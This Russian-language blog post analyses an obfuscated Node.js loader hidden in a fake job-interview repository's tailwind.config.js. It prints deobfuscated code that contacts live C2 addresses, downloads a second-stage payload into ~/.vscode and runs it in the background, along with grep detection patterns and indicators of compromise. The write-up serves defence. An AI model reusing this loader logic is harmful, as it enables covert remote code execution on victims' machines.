TL;DR:

В GitHub-репозитории для тестового задания был вредоносный код, спрятанный в tailwind.config.js. Сначала файл выглядел как обычный Tailwind-конфиг, но в конце была длинная обфусцированная JS-строка. При загрузке конфига код подключал fs, os, request, path, node:process и child_process, связывался с C2 на 78.142.218.26:1244 или 66.235.168.17:1244, отправлял минимальный фингерпринт машины, скачивал второй payload в ~/.vscode/f.js, создавал ~/.vscode/package.json, выполнял npm install и запускал payload в фоне через node/nohup. Иными словами, это был не обычный тестовый проект, а loader/downloader, замаскированный под frontend-задание.

Социальная часть

В LinkedIn мне написал некто, представившийся как Renz Andrey Barrion, с предложением работы. Страница уже удалена. Немного смутила подпись: «Project Manager at Bext360» (не утверждаю, что Bext360 причастна к нижеизложенному). Показалось странным, что пишет проджект, а не HR. Но да ладно, мало ли какие процедуры найма могут быть.

Renz сообщил, что в его компанию требуется Senior Front End Developer на неплохих условиях. Я скинул резюме, он расспросил об опыте, подробно описал процесс найма и предложил пройти тестовое, с чем я согласился – в последнее время какой-то ренессанс тестовых. Ренц скинул ссылку на https://github.com/Stash-Home/Home-assignment-u (тоже уже удалена).

При скачивании я обратил внимание на размер репозитория – больше 5 мегабайт, что как бы очень много для репы с тестовым заданием (понятно, что могут быть изображения, но все равно). Дополнительно удивило отсутствие форков: обычно тестовые репозитории форкаются кандидатами. Отсутствие форков нетипично для таких репозиториев.

Начал разбираться и обнаружил вот что.

На последней строчке tailwind.config.js была замаскированная большим количеством пробелов обфусцированная строка:

const a0ag=a0a1,a0ah=a0a1,...

Интересно, что же это такое?

Как устроена обфускация

В начале был массив base64-строк:

function a0a0() {
  const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...]
  ...
}

Далее массив циклически сдвигался до тех пор, пока выражение с parseInt(...) не даст нужное число:

(function(a0,a1){
  const a2 = a0();
  while (!![]) {
    try {
      const a3 = ...;
      if (a3 === a1) break;
      else a2.push(a2.shift());
    } catch {
      a2.push(a2.shift());
    }
  }
}(a0a0, 0x7e0c4));

Цель этого – запутать соответствие индексов и строк.

Затем функция a0a1(...) достаёт строку из массива и декодирует её, что упрощённо выглядит так:

function decodeFromStringTable(index) {
  const shiftedIndex = index - 0x113;
  const encoded = stringTable[shiftedIndex];
  
  return base64DecodeURIComponent(encoded);
}

И мы получаем, например:

a0a1(0x137) => "utf8"
a0a1(0x182) => "base6"
a0a1(0x171) => "from"
a0a1(0x125) => "toStr"
a0a1(0x126) => "ing"

И потом собираем это:

Buffer.from(..., 'base64').toString('utf8')

Ещё один декодер отрезает первый мусорный символ, а остаток декодирует как base64:

function n(value) {
  const withoutFirstChar = value.slice(1);
  return Buffer.from(withoutFirstChar, 'base64').toString('utf8');
}

Например:

n('ab3M') => 'os'
n('bZnM') => 'fs'
n('DcmVxdWVzdA') => 'request'
n('NcGF0aA') => 'path'
n('Xbm9kZTpwc...') => 'node:process'
n('4Y2hpbGRf') + n('acHJvY2Vzcw') => 'child_process'

Некоторые строки спрятаны как массивы чисел и к ним применяется XOR с ключом:

const S = [0x70, 0xa0, 0x89, 0x48];

function U(arr) {
  let result = '';

  for (let i = 0; i < arr.length; i++) {
    result += String.fromCharCode((arr[i] ^ S[i & 3]) & 0xff);
  }

  return result;
}

что даёт после расшифровки:

U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) => ".vscode"
U([0x16,0x8e,0xe3,0x3b])                 => "f.js"
U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])
  => "package.json"

U([0x5f,0xc6,0xa6]) => "/f/"
U([0x5f,0xd0])      => "/p"

U([0x13,0xc4]) => "cd"
U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])
  => "&& npm i --silent"

U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])
  => "npm --prefix"

U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])
  => "node_modules"

U([0x1e,0xcf,0xe1,0x3d,0x0]) => "nohup"

После деобфускации ключевая часть выглядит примерно так:

const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const process = require('node:process');
const child_process = require('child_process');

const homeDir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();

const primaryC2 = 'http://78.142.218.26:1244';
const fallbackC2 = 'http://66.235.168.17:1244';

const campaignId = '90284f6b7643';

Упрощённый псевдокод вредоноса

Это упрощённая реконструкция логики (C2 в тексте это "Command and Control", то есть сервер командования и управления):

/**
 * Entry point вредоносного кода.
 *
 * Инициализирует timestamp текущего запуска и начинает первый этап связи
 * с управляющим сервером.
 *
 * В оригинальном коде эта функция вызывается сразу при загрузке
 * `tailwind.config.js`, то есть во время dev/build процесса.
 *
 * Поведение:
 * 1. Сохраняет время запуска.
 * 2. Пытается связаться с основным C2-сервером.
 * 3. При ошибке дальше сработает fallback-логика.
 *
 * @returns {void}
 */
function main() {
  timestamp = Date.now().toString();

  tryHandshake(0);
}

/**
 * Пытается выполнить первичный handshake с сервером.
 *
 * Функция отправляет GET-запрос на `/s/<campaignId>`.
 * Первый вызов идёт на основной сервер. Если основной сервер недоступен,
 * код пробует fallback.
 *
 * Этот этап нужен вредоносу, чтобы получить актуальный адрес сервера
 * и тип payload, который нужно скачать.
 *
 * @param {number} index
 * Индекс сервера в списке.
 * `0` — основной сервер.
 * `1` — fallback-сервер.
 *
 * @returns {void}
 */
function tryHandshake(index) {
  const url = `${C2[index]}/s/${campaignId}`;

  request.get(url, (error, response, body) => {
    if (error) {
      if (index < 1) {
        tryHandshake(1);
      }
      return;
    }

    if (!parseServerResponse(body)) {
      return;
    }

    reportHost();
    downloadAndRunPayload();
  });
}

/**
 * Разбирает ответ C2-сервера после handshake-запроса.
 *
 * Оригинальный код ожидает, что ответ начинается с маркера `ZT3`.
 * Всё, что идёт после `ZT3`, декодируется из base64.
 *
 * После декодирования вредонос ожидает строку примерно такого формата:
 *
 * `<host>,<type>`
 *
 * Где:
 * - `host` — актуальный C2-host, с которого дальше будут скачиваться payload и package.json.
 * - `type` — идентификатор или вариант payload.
 *
 * Если формат ответа не подходит, функция возвращает `false`,
 * и дальнейшее выполнение прекращается.
 *
 * @param {string} body
 * Тело HTTP-ответа.
 *
 * @returns {boolean}
 * `true`, если ответ успешно разобран и глобальные значения `baseUrl` и `type` установлены.
 * `false`, если ответ не похож на ожидаемый C2-ответ.
 */
function parseServerResponse(body) {
  if (!body.startsWith('ZT3')) {
    return false;
  }

  const encoded = body.slice(3);
  const decoded = Buffer.from(encoded, 'base64').toString('utf8');

  const parts = decoded.split(',');

  baseUrl = `http://${parts[0]}:1244`;
  type = parts[1];

  return true;
}

/**
 * Отправляет информацию о заражённой машине на сервер злоумышленников.
 *
 * Функция делает POST-запрос на `/keys` и передаёт набор данных,
 * по которым оператор вредоноса может идентифицировать машину и контекст запуска.
 *
 * В отправляемые данные входят:
 * - timestamp запуска;
 * - тип payload, полученный от C2;
 * - hostname;
 * - username на macOS;
 * - путь или аргумент процесса, из которого был запущен код.
 *
 * Название `/keys` может вводить в заблуждение: по поведению это больше похоже
 * на регистрацию infected host/beaconing, а не обязательно на отправку
 * криптографических ключей.
 *
 * @returns {void}
 */
function reportHost() {
  let hostId = hostname;

  if (platform[0] === 'd') {
    hostId = `${hostId}+${userInfo.username}`;
  }

  let commandContext = '5A1';

  try {
    commandContext += process.argv[1];
  } catch {}

  request.post({
    url: `${baseUrl}/keys`,
    formData: {
      ts: timestamp,
      type,
      hid: hostId,
      ss: 'oqr',
      cc: commandContext,
    },
  });
}

/**
 * Скачивает второй этап вредоноса и готовит его к запуску.
 *
 * Функция создаёт директорию `~/.vscode`, если её ещё нет.
 * Затем скачивает JS-payload с C2 и сохраняет его как `f.js`.
 *
 * Использование `~/.vscode` выглядит как попытка маскировки:
 * такая папка может показаться разработчику нормальной частью окружения
 * VS Code/Cursor.
 *
 * Если создать `~/.vscode` не удалось, код использует домашнюю директорию
 * пользователя как fallback.
 *
 * @returns {void}
 */
function downloadAndRunPayload() {
  let targetDir = path.join(homeDir, '.vscode');

  try {
    fs.mkdirSync(targetDir, { recursive: true });
  } catch {
    targetDir = homeDir;
  }

  const payloadPath = path.join(targetDir, 'f.js');

  try {
    fs.rmSync(payloadPath);
  } catch {}

  request.get(`${baseUrl}/f/${type}`, (error, response, body) => {
    if (error) return;

    try {
      fs.writeFileSync(payloadPath, body);
    } catch {}

    downloadPackageJson(targetDir);
  });
}

/**
 * Скачивает `package.json` для созданного вредоносом локального npm-проекта.
 *
 * После скачивания `f.js` вредонос также скачивает `package.json`
 * с C2 endpoint `/p`.
 *
 * Это нужно для установки зависимостей, которые потребуются скачанному payload.
 * То есть вредонос создаёт отдельный npm-проект внутри `~/.vscode`.
 *
 * В оригинальной логике есть сравнение размера:
 * если уже существующий `package.json` меньше нового тела ответа,
 * файл перезаписывается.
 *
 * @param {string} targetDir
 * Директория, куда ранее был сохранён `f.js`.
 * Обычно это `~/.vscode`.
 *
 * @returns {void}
 */
function downloadPackageJson(targetDir) {
  const packagePath = path.join(targetDir, 'package.json');

  let oldSize = 0;

  if (fs.existsSync(packagePath)) {
    try {
      oldSize = fs.statSync(packagePath).size;
    } catch {}
  }

  request.get(`${baseUrl}/p`, (error, response, body) => {
    if (error) return;

    try {
      if (body.length > oldSize) {
        fs.writeFileSync(packagePath, body);
      }
    } catch {}

    installDependencies(targetDir);
  });
}

/**
 * Запускает установку npm-зависимостей для скачанного payload.
 *
 * Функция выполняет команду вида:
 *
 * `cd "<targetDir>" && npm i --silent`
 *
 * Это означает, что вредонос пытается установить зависимости
 * из скачанного `package.json` без явного вывода в консоль.
 *
 * Флаг `windowsHide: true` на Windows скрывает окно процесса,
 * что является дополнительным признаком скрытного поведения.
 *
 * После завершения установки вызывается проверка `node_modules`
 * и запуск payload.
 *
 * @param {string} targetDir
 * Директория локального npm-проекта, созданного вредоносом.
 *
 * @returns {void}
 */
function installDependencies(targetDir) {
  child_process.exec(
    `cd "${targetDir}" && npm i --silent`,
    { windowsHide: true },
    () => {
      ensureNodeModulesAndRun(targetDir);
    },
  );
}

/**
 * Проверяет наличие `node_modules` и при необходимости повторяет установку зависимостей.
 *
 * Если после первой команды `npm i --silent` директория `node_modules`
 * не появилась, вредонос запускает альтернативную команду:
 *
 * `npm --prefix "<targetDir>" i`
 *
 * Это повышает шанс успешной установки зависимостей в разных окружениях.
 *
 * Если `node_modules` уже существует или повторная установка завершилась,
 * функция переходит к запуску payload.
 *
 * @param {string} targetDir
 * Директория, где лежат `f.js`, `package.json` и потенциальный `node_modules`.
 *
 * @returns {void}
 */
function ensureNodeModulesAndRun(targetDir) {
  const nodeModules = path.join(targetDir, 'node_modules');

  if (!fs.existsSync(nodeModules)) {
    child_process.exec(
      `npm --prefix "${targetDir}" i`,
      { windowsHide: true },
      () => runPayload(targetDir),
    );
  } else {
    runPayload(targetDir);
  }
}

/**
 * Запускает скачанный `f.js` как отдельный фоновый процесс.
 *
 * Поведение отличается по платформам:
 *
 * На Windows:
 * - запускается текущий Node.js runtime через `process.execPath`;
 * - аргументом передаётся `f.js`;
 * - рабочая директория — `targetDir`;
 * - окно процесса скрывается через `windowsHide: true`;
 * - stdio игнорируется.
 *
 * На Linux/macOS:
 * - используется `nohup`;
 * - процесс запускается detached;
 * - stdin/stdout/stderr перенаправляются в ignore или `/dev/null`;
 * - после `unref()` процесс отвязывается от родителя.
 *
 * Итог: payload может продолжить работу даже после завершения npm/build-процесса,
 * который изначально загрузил `tailwind.config.js`.
 *
 * @param {string} targetDir
 * Директория, из которой будет запущен `f.js`.
 *
 * @returns {void}
 */
function runPayload(targetDir) {
  if (platform[0] === 'w') {
    const child = child_process.spawn(
      process.execPath,
      ['f.js'],
      {
        cwd: targetDir,
        stdio: 'ignore',
        windowsHide: true,
      },
    );

    child.unref();
  } else {
    const child = child_process.spawn(
      'nohup',
      [process.execPath, 'f.js'],
      {
        cwd: targetDir,
        detached: true,
        stdio: ['ignore', '/dev/null', '/dev/null'],
      },
    );

    child.unref();
  }
}

Что же тут происходит?

Сначала делается запрос на:

http://78.142.218.26:1244/s/90284f6b7643

// фоллбек на
http://66.235.168.17:1244/s/90284f6b7643

После декодирования ожидается строка вида:

<host>,<type>

Условно

example.com,abc

Тогда вредонос строит:

http://example.com:1244

И сохраняет

type = "abc"

Информация о жертве отправляется на:

http://<host>:1244/keys

С примерно такими данными:

{
  ts: Date.now().toString(),               // timestamp запуска
  type: typeFromServer,                    // тип/идентификатор payload, полученный от C2
  hid: hostnameOrHostnamePlusUsername,     // host identifier
  ss: 'oqr',                               // константа "oqr", вероятно, маркер кампании или версии
  cc: '5A1' + process.argv[1]              // строка "5A1" + путь к текущему скрипту/процессу
}

Интересный момент:

if (platform[0] === 'd') {
  hid = hostname + '+' + username;
}

os.platform() возвращает:

win32
linux
darwin

То есть username добавляется именно для macOS (darwin).

Затем происходит попытка создать директорию:

~/.vscode

А если не получается, используется просто домашняя папка:

let targetDir = path.join(os.homedir(), '.vscode');

try {
  fs.mkdirSync(targetDir, { recursive: true });
} catch {
  targetDir = os.homedir();
}

Почему .vscode? Это хороший выбор для атаки. Такая папка выглядит привычно для разработчика и не бросается в глаза рядом с расширениями VS Code или Cursor.

Затем происходит скачивание:

http://<host>:1244/f/<type>

И payload записывается в ~/.vscode/f.js.

Затем данные с http://<host>:1244/p скачиваются и записываются в ~/.vscode/package.json.

Далее устанавливаются зависимости:

cd "~/.vscode" && npm i --silent
npm --prefix "~/.vscode" i

Это важно: код не просто скачивает f.js, а ещё и подготавливает отдельный npm-проект внутри домашней папки пользователя. То есть создаётся самостоятельный Node.js-проект вне репозитория. Даже если потом удалить папку с тестовым заданием, ~/.vscode/f.js и ~/.vscode/node_modules могут остаться в домашней папке. При этом основная логика вредоноса находится уже не в исходном репозитории, а в файле, скачанном на втором этапе.

Затем payload запускается в фоне:

// на Windows
child_process.spawn(process.execPath, ['f.js'], {
  cwd: targetDir,
  stdio: 'ignore',
  windowsHide: true,
});

// на Linux/MacOs
child_process.spawn('nohup', [process.execPath, 'f.js'], {
  cwd: targetDir,
  detached: true,
  stdio: ['ignore', '/dev/null', '/dev/null'],
});

И после этого процесс отвязывается от родительского процесса и продолжает жить отдельно:

child.unref();

Есть небольшой интервал (10 минут 16 секунд), с которым вредонос пытается скачать данные, если сервер временно недоступен. Через несколько попыток интервал очищается.

Что же отправляется?

Кажется, что отправляется не так много. os.userInfo() возвращает примерно такой объект:

{
  username: "john",
  uid: 1000,
  gid: 1000,
  shell: "/bin/bash",
  homedir: "/home/john"
}

Но на первом этапе используется только userInfo.username, и то только если платформа macOS. На Linux/Windows username не добавляется.

И хотя код отправляет не так много, сервер всё равно видит сетевые метаданные:

  • source IP address;

  • время подключения;

  • порт назначения;

  • HTTP path;

  • возможные HTTP headers от Node request library.

Кроме того, первый handshake идёт на GET /s/90284f6b7643, что позволяет понять, из какого репозитория пришёл запуск.

На первом этапе нет прямого чтения SSH-ключей, .env-файлов, cookies, browser profiles, GitHub tokens или содержимого проектов. Но он скачивает f.js, внутри которого, по-видимому, и будет содержаться основная вредоносная логика.

Иными словами, видимый код в tailwind.config.js – это не полноценный похититель данных, а загрузчик. Он отправляет минимальный фингерпринт машины и запускает второй этап, который уже может выполнить основной сбор данных.

Что ещё было подозрительно в репозитории?

В package.json были такие зависимости:

"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security",
"path": "^0.12.7"

Это core-модули Node.js. В нормальном проекте их не ставят из npm.

Какие выводы и уроки?

Никогда не запускайте чужой проект сразу. Опасными могут быть даже:

npm install
npm ci
yarn
pnpm install

Перед запуском попробуйте поискать опасные паттерны:

grep -RInE \
  "child_process|execSync|spawn|eval\(|Function\(|atob\(|Buffer\.from|curl|wget|powershell|EncodedCommand|nohup|/dev/null|\.vscode|AppData|os\.homedir|os\.userInfo|request\(|fetch\(|http://|https://" \
  . \
  --exclude-dir=node_modules \
  --exclude-dir=.git \
  --exclude-dir=dist \
  --exclude-dir=build

Проверяйте package.json на подозрительные зависимости:

"preinstall": "...",
"install": "...",
"postinstall": "...",
"prepare": "...",
"child_process": "...",
"fs": "...",
"path": "...",
"crypto": "..."

Как уже говорилось, это core-модули Node.js, в нормальном проекте они не должны быть npm-зависимостями.

Устанавливайте зависимости только с отключёнными lifecycle-скриптами:

npm ci --ignore-scripts
npm install --ignore-scripts
pnpm install --ignore-scripts
yarn install --ignore-scripts

Но помните, флаг --ignore-scripts защищает только от npm lifecycle-скриптов. Он не защитит, если потом вы запускаете npm run dev, а dev-сервер загружает вредоносный tailwind.config.js, vite.config.js, webpack.config.js, nuxt.config.ts и т.д. Не забывайте, что эти конфиги – это не просто JSON-настройки. Это JS/TS-код, который выполняется Node.js во время dev/build. Поэтому вредонос в таком файле может выполниться без отдельного явного запуска.

Вообще, лучше запускать чужие проекты на отдельной виртуальной машине или отдельном WSL в изолированной среде.

Не открывайте чужой проект в IDE сразу в доверенном режиме, а помечайте его как untrusted.

Можно сделать в чужом проекте быстрый поиск IP/URL, так как их наличие в config-файлах, особенно на нестандартных портах – это сильный красный флаг:

rg -n \
  "https?://|[0-9]{1,3}(\.[0-9]{1,3}){3}|localhost|127\.0\.0\.1|webhook|telegram|discord|ngrok|pastebin|gist|raw\.githubusercontent" \
  -g '!node_modules' \
  -g '!.git'

Критически оцените GitHub-аккаунт, с которого качаете. На странице https://github.com/Stash-Home виден странный набор проектов: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php и т.д. Многие из них выглядят как копии известных open-source проектов, а не как собственные проекты. Например, serenity описан как “The Serenity Operating System”, содержит 66 605 коммитов, но у него аж целых 0 звёзд и 0 форков. Это должно вас насторожить.

Я не могу утверждать, был ли аккаунт Stash-Home изначально создан злоумышленником или был скомпрометирован. Но публичные признаки выглядят подозрительно: много копий известных проектов, нулевая социальная активность, следы однотипных automated update-коммитов.

Ну и обращайте внимание на размер скачанного репозитория :-)

Ну а если вы всё же запустили такой проект, то:

  1. Отключите интернет или закройте подозрительные процессы;

  2. Проверьте ~/.vscode/f.js и ~/.vscode/package.json;

  3. Проверьте процессы node/npm/powershell/cmd;

  4. Проверьте автозапуск и scheduled tasks;

  5. Смените токены, которые могут быть доступны: GitHub, GitLab, npm, SSH, cloud credentials и т.д.;

  6. Запустите полную проверку антивирусом/защитником.

P.S. На всякий случай вот хэши архива репозитория и файла конфига:

Archive SHA256:
4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13

tailwind.config.js SHA256:
b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4de

C2:
78.142.218.26:1244
66.235.168.17:1244

Paths:
~/.vscode/f.js
~/.vscode/package.json

P.P.S. Пользуясь случаем, хочу сказать то, что касается нас как сообщество разработчиков. Тестовые задания – это зло и пережиток царского прошлого. Сегодня они почти ничего не позволяют оценить. Они отнимают наше время, которое мы могли бы потратить на собственные проекты и развитие. То, что я согласился выполнить это тестовое, меня не красит. Впрочем, я его и не выполнил. И чем больше мы, разработчики, будем отказываться выполнять тестовые задания, тем быстрее эта порочная практика окончательно уйдёт в прошлое. ИМХО, бойкот тестовых заданий – это благо для нас как для профессионального сообщества.

Комментарии (0)


  1. ebalrog
    11.05.2026 09:26

    Тестовые зло потому что все их нейронками сейчас делают?


    1. SaggyA Автор
      11.05.2026 09:26

      Да даже если без нейронок - это куча неоплаченного времени, труд, за который никто не скажет даже спасибо. И, скорее всего, вообще не ответит.


      1. aleksandy
        11.05.2026 09:26

        за который никто не скажет даже спасибо

        С одной стороны - да, а с другой - спасибо тебе за такой подробный разбор. Я хоть и не фронтэндер, но читать было интересно :).


        1. SaggyA Автор
          11.05.2026 09:26

          Спасибо! Это мой первый опыт публикации на Хабре)


  1. ElWray
    11.05.2026 09:26

    Спасибо, что поделились инфой.

    SHA256 для архива и tailwind.css не имеет смысла, т.к. если я правильно понял, под каждый репозиторий - свой уникальный campaignId, соот-нно все хеши будут разными.

    Такая точно история произошла с моим знакомым дизайнером. В виде тестового прислали репо со зловредом.


    1. SaggyA Автор
      11.05.2026 09:26

      Да, в целом согласен с вами. Единственное, если этот репозиторий уже мог быть многократно скачан или в том же самом виде будет размещен на других аккаунтах. Впрочем, возможно это действительно уникальная репа для каждой жертвы.

      Вообще, возникает стойкое ощущение, что работа команды по распространению всяких зловредов очень похожа на работу нормальной бизнес-команды - со своими аналитиками, тестировщиками и проджектами. Тогда понятно, почему проджект рассылкает приглашения о работе - ведёт, так сказать, работу с клиентами))) А там может быть и A/B тестирование есть скриптов общения с разработчиками)


    1. SaggyA Автор
      11.05.2026 09:26

      И расскажите, пожалуйста, как ваш друг понял, что что-то не так? У меня в голове вес репозитория, отсутствие форков и должность собеседника произвели "щелчок", который заставил подумать, что "что-то тут не так".


      1. ElWray
        11.05.2026 09:26

        Могу неправильно написать какие-то нюансы, я уже подзабыл, хотя было это относительно недавно - около 3х месяцев назад. Был очень странный профиль в Linked In, это немного насторожило, в профиле была ссылка на нерабочую страницу компании.

        Само тестовое, когда он запустил, начало требовать какие-то права доступа, после того как он сделал `npm install` и `npm run dev`, это было на macOS.

        И в package.json были библиотеки для интеграции с биржами.

        К сожалению, я дальше ничего не раскопал и скорее всего был скрытый скрипт в tailwind.css, как здесь у вас. И само репо уже давно не доступно. Было вот здесь - https://github.com/Slotgambit/Frontend